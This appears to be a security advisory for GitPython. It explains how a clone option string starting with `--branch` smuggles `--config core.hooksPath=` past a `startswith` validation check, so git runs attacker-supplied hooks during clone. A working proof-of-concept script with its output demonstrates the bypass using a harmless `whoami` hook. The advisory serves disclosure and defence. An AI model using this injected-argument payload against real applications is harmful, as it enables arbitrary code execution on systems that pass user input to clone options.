### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.